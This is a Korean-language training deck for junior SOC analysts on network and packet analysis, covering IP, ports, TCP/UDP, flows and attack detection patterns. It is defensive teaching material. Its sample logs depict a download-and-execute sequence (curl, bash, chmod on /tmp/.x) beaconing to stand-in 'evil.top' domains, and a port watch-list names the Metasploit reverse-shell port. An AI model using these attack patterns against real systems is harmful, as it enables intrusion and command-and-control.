26년 AI 보안운영 및 위협탐지 실무인력 양성 · (주)아울네스트

Module 3.
네트워크 & 패킷 분석

통신의 흐름을 읽어야 보안 이벤트의 맥락이 보인다 · 12시간

대상

비전공 입문자 / SOC 초급 분석가

시간

총 12시간 (이론 5H + 사례 3H + 실습 4H)

핵심 키워드

IP · Port · TCP/UDP · Flow · DNS · HTTP/TLS

🌐

(주)아울네스트

한국인터넷진흥원 발주 · 2026

보강 설명Module 3. 네트워크 & 패킷 분석 전체 흐름을 한눈에 잡아 주는 시작 슬라이드다. 이번 모듈은 네트워크 흔적을 보고 이상 여부를 설명하는 실무 감각을 만드는 데 초점을 둔다.

전체 구조학습 목표실무 연결

이번 모듈의 포인트

IP·Port·Protocol을 외우는 수준을 넘어 연결의 의미를 읽는 감각 만들기
DNS·HTTP·Flow·TLS를 묶어 하나의 사건 흐름으로 해석하기
관찰 사실을 운영 가능한 판단문으로 정리하는 연습 포함

수업 중 계속 물어야 할 질문

누가 어디로 어떤 방식으로 통신했는가
이 연결은 자산 역할과 시간대 기준으로 자연스러운가
추가로 붙여야 할 로그와 즉시 조치는 무엇인가

학습 산출물

공격 패턴별 탐지 포인트 치트시트
실습 로그 기반 판단문 초안
후속 Module에서 바로 쓸 수 있는 네트워크 분석 프레임

학습 목표와 수강 후 아웃풋

이 모듈의 목표는 '패킷을 본 적 있다'가 아니라, 네트워크 이벤트를 보고 이상 여부를 설명할 수 있게 되는 것이다

PART 0 · 오프닝

 최소 언어 이해IP, Port, Protocol의 의미를 SOC 관점에서 설명할 수 있다. 내부/외부 구분, 방향성, 서비스 역할을 파악한다.
 세션 & FlowTCP/UDP, Packet, Session, Flow의 차이를 이해하고 실제 이벤트에 적용할 수 있다. Duration, Bytes 방향성 해석.
 DNS / HTTP / TLSDNS 질의 이상 징후, HTTP 스캐닝 패턴, HTTPS 내 숨겨진 행동 단서를 구분할 수 있다.

 공격 패턴 4종Port Scan, Brute Force 전조, Beaconing, 데이터 유출의 네트워크 패턴을 설명할 수 있다.
 도구 연계Wireshark, Zeek, Firewall, IDS, Proxy, EDR의 역할 차이를 알고 보완적으로 활용할 수 있다.
 보고 문장 작성네트워크 Alert를 Fact + Pattern + Context + Action 형태로 정리할 수 있다.

📌 핵심 메시지

네트워크는 시스템 간 대화 기록이며, SOC는 그 대화가 정상인지 아닌지를 판단하는 조직이다.
포트를 외우는 것이 아니라 이상한 연결을 운영 가능한 문장으로 바꾸는 것이 목표다.

왜 SOC는 네트워크를 봐야 하는가

로그만 보면 사건의 조각이 보이고, 네트워크를 보면 사건의 흐름이 보인다

PART 0 · 오프닝

모든 공격은 네트워크를 사용한다

🔍 초기 정찰 — Port Scan, 서비스 탐색은 네트워크로 보임
🔑 인증 시도 — Brute Force, Password Spray는 반복 연결로 보임
📡 C2 통신 — 악성 코드는 반드시 외부와 대화한다
📤 데이터 유출 — 바이트 방향과 양이 변한다
🔄 내부 확산 — East-West 트래픽 이상 증가

호스트 로그만 보면 놓치는 것

프로세스 실행 기록은 있지만 목적지 IP가 보이지 않음
로그가 지워지거나 조작되어도 네트워크 센서는 남는다
내부 서버 간 이동(Lateral Movement)은 호스트 외부에서 보임

🌊 사건의 완성은 Host + Network

Host Logcurl 실행 기록시스템 관점

DNS Logupdate-check.evil.top 질의목적지 단서

Flow443 세션 5분 간격 반복패턴 단서

판단Beaconing 의심 → 조사 필요맥락 완성

💡 호스트 로그가 왜를 주고,
네트워크가 어디서 어디로를 보여준다

네트워크는 시스템 로그를 대체하는 게 아니라, 맥락을 붙여 주는 핵심 증거다

12시간 운영 구조와 학습 방식

네트워크 이론 강의가 아니라, 보안 분석가 훈련형 구조로 진행한다

PART 0 · 오프닝

이론 (5H)

IP·TCP·Flow·DNS·HTTP 개념

Part 1~6: 최소언어, 세션, 패킷/Flow, DNS, 웹 프로토콜

사례 분석 (3H)

공격 패턴 재구성

Part 7: Scan·BruteForce·Beaconing·Exfil 타임라인

실습 (4H)

케이스 분석 & 보고

Part 8~9: 실제 로그 → 판단문 작성, 에스컬레이션

파트별 시간 배분

Intro/오프닝: 20분
Part 1. 네트워크 보안관제 의미: 35분
Part 2. IP/Port/Protocol: 60분
Part 3. TCP/UDP와 세션: 65분
Part 4. 패킷 구조와 Flow: 75분
Part 5. DNS 분석: 85분 / Part 6. HTTP/HTTPS: 80분
Part 7. 공격 패턴: 85분 / Part 8. 도구 연계: 60분
Part 9. 실습: 135분 / Wrap-up: 20분

수업 운영 원칙

포트 암기 ✗ → 맥락과 패턴 읽기 ✔
로그 원문을 monospace 박스로 제시
정상 vs 이상 비교를 슬라이드마다 포함
개념 설명 후 항상 SOC에서는 왜 중요한가 연결
마지막 실습: Fact + Pattern + Context + Action 문장 작성
수강생은 항상 "왜 이상하다고 생각하는가?"를 근거로 답

연결 구조:

Module 1 SOC 개념 → Module 2 호스트 로그 → Module 3 네트워크 흐름

네트워크 보안관제의 의미

네트워크는 시스템 간 '대화 기록'이다. SOC는 그 대화가 정상인지 아닌지를 판단한다.

예상 시간: 35분

대화 기록 호스트+네트워크 맥락 해석 핵심 질문 6개 데이터 소스 지도

보강 설명네트워크 보안관제의 의미 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

네트워크는 시스템 간 '대화 기록'이다

네트워크를 본다는 것은 선과 점을 보는 것이 아니라, 시스템들이 서로 주고받은 대화의 흔적을 읽는 일이다

PART 1 · 보안관제 의미

네트워크 = 대화의 흔적

사용자 PC ↔ 웹 서버: 브라우징, 파일 업로드, 로그인
서버 ↔ DNS: 목적지를 찾기 위한 질의
서버 ↔ API/DB: 백엔드 데이터 처리 통신
공격자 ↔ 대상: 정찰, 침투, C2, 유출 — 모두 통신이다

분석가가 물어야 할 것

누가 누구와 이야기했는가?
어떤 주제(포트/프로토콜)로 이야기했는가?
이 대화가 이 상황에서 자연스러운가?
횟수, 길이, 내용이 평소와 달랐는가?

🗺️ 네트워크 대화 지도

User PC

↔

Web Server

정상 브라우징

Web Server

↔

DNS/API

내부 통신

Malware

↔

C2 Server

⚠️ 공격 대화

모든 대화는 흔적을 남긴다.
SOC는 그 흔적 중 이상한 대화를 찾아낸다.

네트워크 분석 = "이 대화가 이 맥락에서 자연스러운가?"를 묻는 과정

로그만 보면 조각, 네트워크를 보면 흐름

호스트 로그는 "무엇을 했다"를 말해주고, 네트워크는 "어디와 연결되었는가"를 말해준다

PART 1 · 보안관제 의미

호스트 로그만 볼 때

Jul 12 03:12:44 webserver01 curl Jul 12 03:12:48 webserver01 bash Jul 12 03:12:55 webserver01 chmod +x /tmp/.x

→ curl, bash, chmod 실행은 보이지만 어디서 무엇을 받았는지 모른다

네트워크까지 함께 볼 때

03:12:44 DNS Query update-check.badexample.top 03:12:45 203.0.113.99:443 세션 성립 03:12:46 Upload 0B / Download 48.2KB 03:17:30 203.0.113.99:443 재연결 (5분 간격)

→ 외부 의심 도메인 + 443 세션 + 5분 간격 반복 = Beaconing 의심

🔗 증거 연결 구조

Host Log

curl, bash, chmod

↓

DNS Log

의심 도메인 질의

↓

Flow Log

443 반복 세션

↓

🚨 사건 판단: Beaconing → Escalate

📌 핵심 원칙

단일 로그보다 훨씬 강한 그림이 완성되는 것은, Host + DNS + Flow + Firewall을 겹칠 때다

네트워크 분석의 핵심 질문 6개

좋은 분석은 데이터를 많이 보는 것보다, 올바른 질문을 먼저 던지는 데서 시작된다

PART 1 · 보안관제 의미

누가 누구와 통신했는가?

Source IP → Destination IP. 자산 역할과 내/외부 구분이 핵심

어떤 포트와 프로토콜을 사용했는가?

서비스 종류와 의도를 가늠. 포트만으로 결론 내리지 않는다

이 통신은 평소에도 보이던 정상 패턴인가?

Baseline 대비 이탈 여부. 처음 보이는 목적지인가?

언제, 얼마나 자주, 얼마나 오래 통신했는가?

시간대, 규칙성, Duration — 자동화와 사람 행동의 차이

송수신 바이트와 방향성은 자연스러운가?

Upload vs Download 비율. 유출은 Upload 방향에서 보인다

이 연결은 공격의 전조/본행위/결과일 수 있는가?

ATT&CK 단계로 연결: Recon → C2 → Exfil 중 어디인가?

Fact 파악

→

Pattern 보기

→

Context 연결

→

Judgment 판단

좋은 분석가는 '통신의 맥락'을 읽는다

같은 443 세션도 사용자 브라우징일 수 있고, API 호출일 수 있고, 악성 Beaconing일 수도 있다. 맥락이 결론을 바꾼다.

PART 1 · 보안관제 의미

정상 가능성 높음

10.0.0.25:54210 → 443 시간대: 업무시간 자산: 사용자 PC 목적지: MS Office365

직원이 업무 중 Office365 접근 → 정상 업무 통신

추가 확인 필요

10.0.0.51:49200 → 443 시간대: 새벽 02:30 자산: 웹서버 목적지: 처음 보는 CDN IP

배포/업데이트인지, C2인지 — 추가 DNS, 자산 담당팀 확인 필요

위험도 상승

10.0.0.22:49201 → 443 시간대: 야간+주말 자산: DB서버 패턴: 5분 간격 반복

DB서버가 야간에 외부와 규칙적 통신 → Beaconing 의심 조사 필요

맥락을 구성하는 5개 축

자산 컨텍스트

PC / 웹서버 / DB / Bastion

사용자 컨텍스트

일반직원 / 관리자 / 서비스계정

시간 컨텍스트

업무시간 / 야간 / 주말

목적지 컨텍스트

내부망 / SaaS / 신규외부 / 희귀국가

네트워크 분석이 필요한 대표 사고 유형

네트워크 관제는 특정 한 도구의 영역이 아니라, 여러 사고 유형을 관통하는 공통 시야다

PART 1 · 보안관제 의미

🔍 Port Scan

열린 포트·서비스 탐색. 대량 SYN + 다수 포트. 공격의 첫 번째 단계(Recon).

🔑 Brute Force

반복 인증 시도. 실패 후 성공이 위험 신호. 시간당 횟수와 계정 다양성이 단서.

🌐 웹 스캐닝

URL 다양성 + 404/403 에러 급증. 취약점·관리자 페이지 탐색 패턴.

📡 DNS 이상

DGA 도메인, DNS Tunneling, 과도한 NXDOMAIN. 외부 목적지 단서가 먼저 보인다.

🎯 C2 Beaconing

주기적 반복 연결 + 짧은 세션 + 낮은 바이트. 사람이 만들 수 없는 규칙성.

🔄 Lateral Movement

내부 SSH/RDP/SMB 급증. Jump Host 경유 후 내부 다수 자산 접근.

📤 Data Exfiltration

Upload bytes 급증 + 외부 스토리지 + 비업무 시간대 + 장기 세션.

🌍 희귀 목적지

평소 연결 없던 국가·IP. GeoIP는 결론이 아니라 가중치. 다른 단서와 함께 봐야.

💡 실제 사고에서는 이 유형들이 연결되어 나타난다:
Port Scan → Brute Force 성공 → C2 Beaconing → 내부 확산 → Data Exfiltration

네트워크 조사에 쓰이는 데이터 소스 지도

실무에서는 패킷 하나만 보지 않는다. 센서마다 보이는 정보가 다르기 때문에 여러 데이터를 겹쳐야 한다.

PART 1 · 보안관제 의미

데이터 소스	주요 정보	SOC 활용
Packet Capture (pcap)	패킷 전체 내용	가장 상세. 저장 비용 큼
Flow (NetFlow/conn.log)	연결 요약 메타데이터	대량 환경에서 효율적
DNS Log	도메인 질의/응답	목적지 조기 탐지
Proxy / Web Log	URL, Method, Status	HTTP 행위 분석
Firewall Log	허용/차단, 정책	정책 맥락 제공
IDS/IPS	알려진 공격 시그니처	빠른 알람 생성
EDR/XDR	프로세스 + 네트워크	프로세스-연결 연결

🔬 조사 전략: 거시 → 미시

1단계Flow / Firewall 로그로 이상 구간 식별빠르고 효율적

2단계DNS / Proxy로 목적지와 행위 확인의미 보강

3단계IDS 시그니처 / EDR로 공격 패턴 확인가설 강화

4단계필요시만 pcap으로 심층 분석최후 수단

⚡ 각 센서는 경쟁 관계가 아니라
증거를 겹쳐 확신을 높이는 도구들이다

좋은 분석가는 도구 하나를 잘 다루는 사람이 아니라, 여러 증거를 겹쳐 확신을 높이는 사람이다

네트워크 최소 언어

IP, Port, Protocol을 모르면 네트워크 보안관제는 시작도 할 수 없다

예상 시간: 60분

IP Address Port Protocol 사설/공인/NAT Direction & Bytes 5가지 질문

보강 설명네트워크 최소 언어 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

네트워크를 읽는 최소 언어: IP, Port, Protocol

IP, Port, Protocol을 모르면 네트워크 보안관제는 시작도 할 수 없다

PART 2 · 최소 언어

📍

IP Address

통신하는 장치의 주소
누가 보내고 누가 받는가
Source IP → Destination IP

🚪

Port

서비스의 출입구 번호
어떤 서비스와 대화했는가
0~65535, Dest Port가 중요

📋

Protocol

대화의 규칙과 방식
어떤 언어로 이야기했는가
TCP, UDP, ICMP, DNS...

💡 예시: 한 줄 Flow에서 세 가지를 읽으면

10.10.20.15:51542 → 203.0.113.5:443 / TCP

■ IP: 내부 10.x → 외부 203.x ■ Port: 출발 임시포트 → 목적지 443(HTTPS) ■ Protocol: TCP (연결 지향, 신뢰성 통신)

→ 내부 호스트가 외부 서버의 HTTPS 서비스와 TCP로 통신 중

📌 핵심 원칙

이 세 가지가 잡히면, 그 다음은 방향성·빈도·시간·바이트·목적지 신뢰도로 확장할 수 있다

IP 주소: 누가 보내고 누가 받는가

IP는 통신하는 장치의 주소다. 보안관제에서는 출발지와 목적지를 구분하는 것부터 시작된다.

PART 2 · 최소 언어

Source IP vs Destination IP

Source IP: 통신을 먼저 시작한 쪽 (출발지)
Destination IP: 통신의 대상이 되는 쪽 (목적지)
방향: 공격자는 보통 Src, 피해 시스템은 Dst (초기)
C2는 Src/Dst가 반복적으로 교환됨

SOC에서 IP를 볼 때 던질 질문

이 IP는 내부인가 외부인가?
이 목적지는 알려진 서비스인가, 처음 보는가?
동일 Src IP가 여러 내부 자산에 접근하는가?
동일 Dst IP로 여러 호스트가 동시에 붙는가?
목적지의 GeoIP, 평판, 등록 정보는?

📊 IP 해석 실전 예시

✅ 정상 예시
10.0.0.50 → 104.16.133.229:443
내부PC → Cloudflare CDN (SaaS 정상)

⚠️ 주의 예시
10.0.0.22 → 5.188.86.172:443
DB서버 → 러시아 AS 신규 IP (비정상 가능)

🚨 위험 예시
203.0.113.88 → 10.0.0.1/8 다수
외부 IP가 내부 /8 대역 스캔 (Port Scan)

💡 IP는 숫자를 읽는 것이 아니라, 행위자와 대상을 식별하는 축으로 이해해야 한다

사설 IP / 공인 IP / NAT를 구분하라

내부에서 보이는 주소와 인터넷에서 보이는 주소가 항상 같지 않다. 이 차이를 모르면 출발지를 오해하게 된다.

PART 2 · 최소 언어

구분	대역 예시	특징
사설 IP (A클래스)	`10.0.0.0/8`	조직 내부 대규모 네트워크
사설 IP (B클래스)	`172.16.0.0/12`	중규모 내부 네트워크
사설 IP (C클래스)	`192.168.0.0/16`	소규모 / 가정용
공인 IP	기타 라우터블 IP	인터넷 구간에서 노출되는 주소
루프백	`127.0.0.1`	자기 자신에게 보내는 로컬

⚠️ 주의: 방화벽 외부 로그에서 보이는 공인 IP 하나가 내부 수십 대 호스트를 대표할 수 있다 (NAT)

🔀 NAT 동작 구조

내부 Host A: 10.0.0.5:51000 →
내부 Host B: 10.0.0.6:52000 →
내부 Host C: 10.0.0.7:53000 →
NAT 변환 (방화벽/라우터)
외부에서 보이는 IP: 198.51.100.50:다양한포트

💡 외부 로그에서 198.51.100.50 하나만 보이더라도,
실제로는 내부 Host A/B/C 모두 그 IP로 나가고 있다

🔍 분석 포인트: 방화벽 내부 인터페이스 로그를 봐야 실제 출발지를 알 수 있다

Port는 서비스의 출입구다

같은 IP라도 Port가 다르면 전혀 다른 서비스와 대화하는 것일 수 있다

PART 2 · 최소 언어

Port = 서비스 출입구

Destination Port: 목적지 서비스의 종류를 보여줌 (가장 중요)
Source Port: 클라이언트 측 임시 포트 (Ephemeral, 보통 1024~65535)
같은 10.0.0.10이라도 22번과 443번은 완전히 다른 서비스

📝 Flow 1줄에서 Port 읽기

10.0.0.20:51542 → 10.0.0.10:443

51542 = 클라이언트 임시 포트 (무시해도 됨)
443 = HTTPS 서비스 (이게 중요!)

Port 해석 주의사항

포트 번호 = 서비스 종류를 100% 확정하지 않는다
443이라도 C2 Beaconing / 악성 TLS 통신일 수 있음
8080, 8443, 9090 같은 비표준 포트는 더 주의
평소 없던 포트로 외부 연결 → 추가 확인 필요

SOC 분석 포인트

이 자산이 원래 그 포트를 사용하는 자산인가?
비정상 포트로 외부 통신이 있는가?
동일 포트에 비정상적으로 많은 연결이 있는가?

대표 포트는 외우기보다 역할로 이해하라

포트 번호는 암기 대상이 아니라, 서비스 맥락을 빠르게 떠올리기 위한 단서다

PART 2 · 최소 언어

 원격 관리
22 / TCP — SSH
3389 / TCP — RDP (Windows)
23 / TCP — Telnet (레거시)
🔴 외부 접근 시 반드시 확인


 웹 & DNS
80 / TCP — HTTP
443 / TCP — HTTPS
53 / UDP(TCP) — DNS
🟡 443은 정상 증거가 아님


 메일 & 파일
25 / TCP — SMTP
587 / TCP — SMTP (인증)
21 / TCP — FTP
445 / TCP — SMB


 DB & 기타
3306 / TCP — MySQL
5432 / TCP — PostgreSQL
1433 / TCP — MSSQL
🔴 외부 노출 금지 원칙

비표준 포트 주의 목록

4444 Metasploit 기본 리버스쉘

8080/8443 웹 프록시/비표준 HTTPS

1337 일부 RAT 기본 포트

31337 Back Orifice 레거시

임의 높은 포트 일부 C2는 고번호 포트 사용

⚠️ 비표준 포트 단독으로는 판단 불가. 목적지, 패턴, 자산 맥락과 함께 봐야 한다.

Protocol은 대화 규칙이다

Protocol은 네트워크에서 "어떻게 이야기하는가"를 정한다. 보안 분석은 이 규칙이 평소와 다른지를 본다.

PART 2 · 최소 언어

전송 계층

TCP: 연결 지향, 신뢰성, 순서 보장. 웹/SSH/DB에 사용
UDP: 비연결형, 빠름, 순서 무보장. DNS/스트리밍에 사용
ICMP: ping, traceroute. 오류 보고용. 스캔에 악용 가능

애플리케이션 계층

DNS: 이름 해석. 목적지 단서. C2에도 활용
HTTP/HTTPS: 웹 통신. Method, URL, Status가 행위 드러냄
SSH/RDP: 원격 접근. 인증 시도 패턴 분석 대상
SMTP: 이메일 전송. 피싱/스팸 발송 탐지

SOC 분석 질문

이 자산에서 이 프로토콜이 원래 사용되는가?
평소 없던 프로토콜 조합이 보이는가?
프로토콜의 사용 방식이 정상적인가?
암호화 프로토콜(TLS) 뒤에 뭔가 숨겨진 것은 없는가?

💡 IP + Port + Protocol = 연결의 의미

내부 → DNS 서버 53 UDP
도메인 이름 조회 중

내부 → 외부 443 TCP
암호화 웹/API 통신

외부 → 내부 22 TCP 다수
⚠️ SSH 스캔/Brute Force

💡 프로토콜은 네트워크 분석의 문법이다. 문법이 맞더라도 내용이 이상할 수 있다.

Direction & Bytes — 방향과 양이 의미를 바꾼다

같은 연결도 어느 방향으로 얼마나 많은 바이트가 오갔는지에 따라 의미가 달라진다

PART 2 · 최소 언어

필드	의미	분석 포인트
Direction	Inbound / Outbound / East-West	공격 방향, 유출 방향
Bytes Out	내부 → 외부 전송량	유출 탐지에 핵심
Bytes In	외부 → 내부 수신량	다운로드, 악성파일 수신
Duration	세션 지속 시간	장기 세션 = C2 / 유출 의심
Packets	패킷 수	Bytes/Packets 비율 이상

정상 패턴: 웹 페이지 열기

Bytes_out=1.2KB (Request) Bytes_in=284KB (Page 수신) Duration=0.8s

Download > Upload → 정상 웹 브라우징

이상 패턴: 유출 의심

Bytes_out=1.8GB (Upload 급증!) Bytes_in=50KB Duration=3h 42m

Upload >> Download + 장기 세션 → 유출 조사 필요

📌 핵심 원칙

바이트의 방향성은 통신의 의미를 바꾼다. Upload 방향의 이상 증가는 유출 탐지의 첫 번째 신호다

네트워크 이벤트를 열었을 때 먼저 던질 5가지 질문

좋은 분석은 "무슨 로그냐"보다 먼저 "무슨 질문을 해야 하느냐"를 안다

PART 2 · 최소 언어

누가 누구와 통신했는가?

Source IP / Destination IP / 자산 역할

10.0.0.22 → 203.0.113.88 / DB서버 → 해외 IP

어떤 포트와 프로토콜인가?

Dest Port + Protocol = 서비스 종류

443/TCP → HTTPS인데 DB서버가? 이상

이 자산에게 자연스러운 통신인가?

Baseline, CMDB, 과거 이력과 비교

DB서버가 외부 443 연결하는 것 처음 봄

시간대, 횟수, 바이트 양이 평소와 비교해 어떤가?

Duration, Frequency, Upload/Download 방향

새벽 03:00, 5분 간격, 업로드 급증

다른 로그를 붙이면 더 강해지는가?

DNS, Proxy, Firewall, EDR 교차 확인

DNS: evil.top 조회 확인 → Beaconing 강력 의심

사실 파악

→

패턴 확인

→

맥락 연결

→

판단 & 보고

TCP / UDP와 세션 이해

연결의 흔적을 읽을 수 있어야 스캔·BruteForce·Beaconing의 패턴이 보인다

예상 시간: 65분

3-way Handshake TCP Flags UDP 패턴 Session vs Flow 비정상 패턴

보강 설명TCP / UDP와 세션 이해 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

TCP는 연결의 흔적을 남긴다

TCP를 이해하면 연결 시도, 연결 성공, 연결 종료를 더 구조적으로 읽을 수 있다

PART 3 · TCP/UDP

TCP의 특징

연결 지향: 데이터 전송 전 연결 수립 과정 존재
신뢰성 보장: 수신 확인, 재전송 메커니즘
순서 보장: 패킷 순서가 뒤바뀌어도 재조립
흐름 제어: 수신 측 처리 속도에 맞춤
혼잡 제어: 네트워크 상태에 따른 속도 조절

SOC에서 TCP가 유용한 이유

연결 시도와 연결 성공을 구분해서 볼 수 있다
SYN 다량 → 스캔 또는 공격 전조 가능성
세션 지속 시간과 종료 방식으로 이상 여부 판단
Flag(SYN/ACK/FIN/RST)가 연결 상태를 말해준다

📡 TCP 연결의 단계

1단계연결 시도 (SYN)문을 두드린다

2단계연결 수락 (SYN/ACK)문이 열린다

3단계연결 확립 (ACK)안으로 들어간다

4단계데이터 교환대화를 나눈다

5단계정상 종료 (FIN) 또는 강제 종료 (RST)연결 종료

💡 SOC는 이 단계 중 어디서 무엇이 달라졌는가를 본다

💡 TCP는 단순 프로토콜이 아니라 통신의 단계가 더 잘 보이는 구조를 제공한다. 연결 상태와 종료 방식이 분석의 단서가 된다.

3-way Handshake를 그림으로 이해하기

TCP 연결은 갑자기 생기지 않는다. 문을 두드리고, 응답받고, 확인하는 단계가 있다.

PART 3 · TCP/UDP

🖥️ Client

10.0.0.10

🌐 Server

203.0.113.5:443

Client

SYN →

Server

Client

← SYN/ACK

Server

Client

ACK →

Server

✅ 연결 성립 (ESTABLISHED)

각 단계의 의미

SYN: "나 연결하고 싶어" — 문 두드리기
SYN/ACK: "알겠어, 들어와" — 문이 열림
ACK: "응, 들어갈게" — 연결 확립

SOC 분석 포인트

SYN 다량 + 응답 없음 → Port Scan 의심
SYN 성립 → 즉시 RST → 서비스 없거나 차단
Handshake 후 데이터 없이 종료 → 탐색형 스캔 가능
정상 접속 후 즉시 대량 업로드 → 유출 의심

❓ 생각해보기: SYN 패킷은 1초에 500개가 들어오는데 SYN/ACK가 거의 없다면 무엇을 의심할 수 있는가?

TCP Flag(SYN / ACK / FIN / RST)는 무슨 뜻인가

Flag는 연결의 상태를 말해주는 작은 신호다. 작은 신호를 읽으면 연결의 성격이 보인다.

PART 3 · TCP/UDP

SYN

연결 시작 요청

클라이언트가 먼저 보냄
첫 번째 악수

다량 = 스캔 의심

ACK

수신 확인

패킷 수신 확인
데이터 전송 중에도 사용

정상 통신의 기본

FIN

정상 종료 시도

"이제 대화 끝낼게"
양방향 FIN이 정상 종료

FIN 없는 급종료 = 이상

RST

강제 종료 / 리셋

"연결 불가 / 강제 끊음"
포트 닫힘, 차단, 오류

다량 RST = 차단 또는 오류

🔍 Zeek/방화벽 conn.log에서 conn_state 읽기

SF = SYN→SYN/ACK→FIN 정상 완료
S0 = SYN만 보내고 응답 없음 (스캔 가능)
S1 = 연결 성립만 되고 FIN 없이 종료
REJ = SYN 후 RST 수신 (포트 닫힘)
RSTO = Originator가 RST로 종료

Wireshark에서 Flag 필터링

# SYN만 보기 tcp.flags.syn==1 and tcp.flags.ack==0 # RST만 보기 tcp.flags.reset==1 # 특정 포트 SYN tcp.dstport==22 and tcp.flags.syn==1

TCP에서 자주 보는 비정상 패턴 5가지

하나의 패킷이 아니라 반복 패턴이 이상 신호를 만든다. 패턴 언어로 읽는 훈련이 필요하다.

PART 3 · TCP/UDP

1. 대량 SYN 폭발

03:21:44 SYN → 10.0.0.1:1 03:21:44 SYN → 10.0.0.1:22 03:21:44 SYN → 10.0.0.1:80 03:21:44 SYN → 10.0.0.1:443 ... 0.01초 사이에 500개 포트

Port Scan — 공격 전 정찰 단계

2. 짧은 세션 고반복

03:10:02 SSH 22 duration=0.1s 03:10:04 SSH 22 duration=0.1s 03:10:06 SSH 22 duration=0.1s ... 2초 간격으로 계속

SSH Brute Force 전조 — 인증 반복 실패

3. 규칙적인 주기 연결

03:00:00 443 → 203.x.x.x 03:05:00 443 → 203.x.x.x 03:10:00 443 → 203.x.x.x 정확히 5분 간격, 사람은 못 함

C2 Beaconing — 자동화된 악성 체크인

4. 장기 세션 + 대량 Upload

시작: 2024-07-12 01:00:00 종료: 2024-07-12 04:42:17 Duration: 3h 42m Bytes_out: 2.3GB / Bytes_in: 48KB

Data Exfiltration — 장기 세션 + Upload 급증

TCP 이상 패턴 언어

많이 (고빈도) 짧게 (짧은 Duration) 자주 (규칙적 반복) 길게 (장기 세션) 한쪽으로 (Upload 편향) 동시다발 (다수 대상)

이 언어들을 조합해서 "어떤 이상 패턴인가"를 설명할 수 있어야 한다

UDP는 '연결'보다 '패턴'으로 읽는다

UDP는 빠르고 단순하지만, 세션 대신 요청/응답과 반복성을 중심으로 해석해야 한다

PART 3 · TCP/UDP

구분	TCP	UDP
연결 방식	연결 지향	비연결형
신뢰성 보장	있음 (재전송)	없음
순서 보장	있음	없음
속도	보통	빠름
분석 포인트	상태/Flags/Duration	빈도/크기/목적지
주요 사용 사례	웹/SSH/DB	DNS/스트리밍

UDP SOC 분석 포인트

세션 개념이 없으므로 요청/응답 쌍으로 분석
비정상 대량 UDP → 증폭 공격, DDoS 반사 의심
작은 요청 + 큰 응답 반복 → DNS 반사 공격 가능
희귀 목적지로의 UDP 트래픽 → 추가 확인 필요
DNS 질의가 비정상적으로 많음 → C2 또는 DGA

⚠️ UDP는 "연결이 없다 = 안전하다"가 절대 아니다.
DNS Tunneling, UDP Flood, 반사 공격에 핵심적으로 사용된다.

💡 UDP로 전달되는 주요 프로토콜들

53/UDP

DNS 이름 해석

67-68/UDP

DHCP IP 할당

123/UDP

NTP 시간 동기화

161/UDP

SNMP 네트워크 관리

세션, Flow, Request/Response를 구분하라

실무에서 '패킷'과 '세션'과 'Flow'를 같은 뜻으로 쓰면 분석이 흐려진다

PART 3 · TCP/UDP

📦 Packet

네트워크 최소 전송 단위. Header + Payload로 구성. Wireshark에서 보는 각각의 줄.

현미경 수준 — 가장 상세

🔄 Request/Response

질의와 응답의 한 쌍. DNS query + answer, HTTP GET + 200 OK. 애플리케이션 계층 단위.

행위 의도가 보임

🤝 Session

연결 지향 통신의 대화 단위. TCP 연결 성립 ~ 종료까지의 전체 흐름. 하나의 대화.

대화 단위 — 중간 수준

📊 Flow

5-tuple(Src IP, Dst IP, Src Port, Dst Port, Protocol) 기준으로 집계된 연결 요약본. NetFlow, Zeek conn.log.

지형도 — 대량 처리에 강함

🔬 실제 SOC 분석 흐름

1단계Flow/SIEM으로 이상 구간 식별 → 빠름

↓

2단계세션/Proxy 로그로 행위 상세 확인

↓

3단계필요시만 Packet(pcap) 깊이 분석 → 느림

💡 비유로 이해하기

Packet = 현미경으로 세포 하나 보기
Session = 한 번의 전화통화
Flow = 통화기록 목록 (날짜/시간/번호/시간)
SOC는 통화기록으로 먼저 이상 통화를 찾는다

패킷 구조와 Flow 분석

패킷 하나보다 흐름이 중요하고, 단일 이벤트보다 시간순 맥락이 중요하다

예상 시간: 75분

